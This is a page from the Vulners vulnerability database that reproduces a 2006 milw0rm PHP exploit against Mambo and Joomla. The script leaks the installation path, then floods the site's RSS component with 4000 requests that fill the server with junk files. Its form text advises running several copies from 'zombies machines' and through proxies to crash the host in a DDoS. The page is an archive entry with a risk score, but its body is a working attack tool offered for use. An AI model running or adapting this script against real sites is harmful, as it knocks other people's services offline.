Vulners
Lucene search
Mambo <= 4.5.3 Joomla <=1.0.7 (feed) Denial of Service Exploit
<?php
# Mambo/Joomla Path Disclosure & Remote DOS Exploit #
# by trueend5 #
# Computer Security Science Researchers Institute #
# [http://www.KAPDA.ir] #
# #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);
echo'<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Mambo/Joomla Remote DOS Exploit</title>
</head>
<body bgcolor="#FFCCFF">
<p align="center"><font size="4" color="#0000FF">Mambo/Joomla Path Disclosure &amp;
(IIS Server-isapi mod) Remote Denial Of Service</font></p>
<p class="Stile6" align="center"><font size="3" color="#FF0000">by trueend5</font></p>
<p align="center"><font size="4" color="#008000">Computer Security Science Researchers
Institute</font></p>
<font SIZE="3">
<p align="center"><a href="http://www.kapda.ir">KAPDA</a></p>
<p align="center">&nbsp;</p>
</font>
<table width="90%">
<tbody>
<tr>
<td width="43%" align="left">
<form name="form1" action="'.$SERVER[PHP_SELF].'" method="post">
<p><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</font> hostname (ex: www.sitename.com)</span></p>
<p><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</font> path (ex:
/mambo/
or just / )</span></p>
<p><input name="pref" size="20"> <span class="Stile5">prefix (default is
&quot;kap&quot;)</span></p>
<p>&nbsp;useful when you want to Run this script
twice or more at the same time against a target For DDOS.</p>
<p>&nbsp; to perform it Just rename this file and choose a different
prefix and run the exploits from your system ,</p>
<p>&nbsp; remote locations or from&nbsp; zombies machines.</p>
<p>&nbsp; (quintuplet or more is recommended to cause&nbsp; remote server
crash for a none dedicated host)</p>
<p><input name="port" size="20"><span class="Stile5"> specify a port&nbsp;
(default is 80)</span></p>
<p><input name="proxy" size="20"><span class="Stile5"> send exploit
through an HTTP proxy (ip:port)</span></p>
<p align="center"> <span class="Stile5"><font color="#FF0000">&nbsp;&nbsp;
* </font>fields are required</span></p>
<p align="center"><span class="Stile5">-----------------------------------------------------------------------------------------------</span></p>
<p><input type="submit" value="Start" name="Submit"></p>
</form>
</td>
</tr>
</tbody>
</table>
</body></html>';
function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td>&nbsp;&nbsp;</td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {
echo "<td>0".$datai."</td>";
}
else {
echo "<td>".$datai."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td>&nbsp&nbsp</td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy';die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
//if ($GLOBALS['view']==1) {echo nl2br(htmlentities($html));}
}
$host=$_POST[host];
$path=$_POST[path];
$port=$_POST[port];
$pref=$_POST[pref];
if (($host<>'') and ($path<>'')){
{
$port=intval(trim($port));
$pref=(trim($pref));
if ($port=='') {$port=80;}
if ($pref=='') {$pref='kap';}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
echo ' Try to find installaton path ...';
$packet="GET ".$p."index2.php?option=com_rss&feed=test\/>"." HTTP/1.1\r\n";
$packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("fopen",$html)){
$arr = array("fopen(","test"); $rep = array("\n\n\n\nThe installation path is:\n","\n\n\n\n");
$html = str_replace($arr, $rep, $html);
echo nl2br(htmlentities($html));} else
{echo "error reporting is Off, Can not receive the installation path";}
}
echo "try to create superfluous files on remote server: \r\n";
for ($n = 1; $n <= 4000; $n++) {
$packet="GET ".$p."index2.php?option=com_rss&feed=".$pref.$n." HTTP/1.1\r\n";
$packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
echo "$pref$n.xml created|\t";
}
echo "Exploit finished";
}
else
{echo "Note: if you received time exceeded error, run again the xpl with new prefix";}
?>
# milw0rm.com [2006-04-19]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Apr 2006 00:00Current
7.1High risk
Vulners AI Score7.1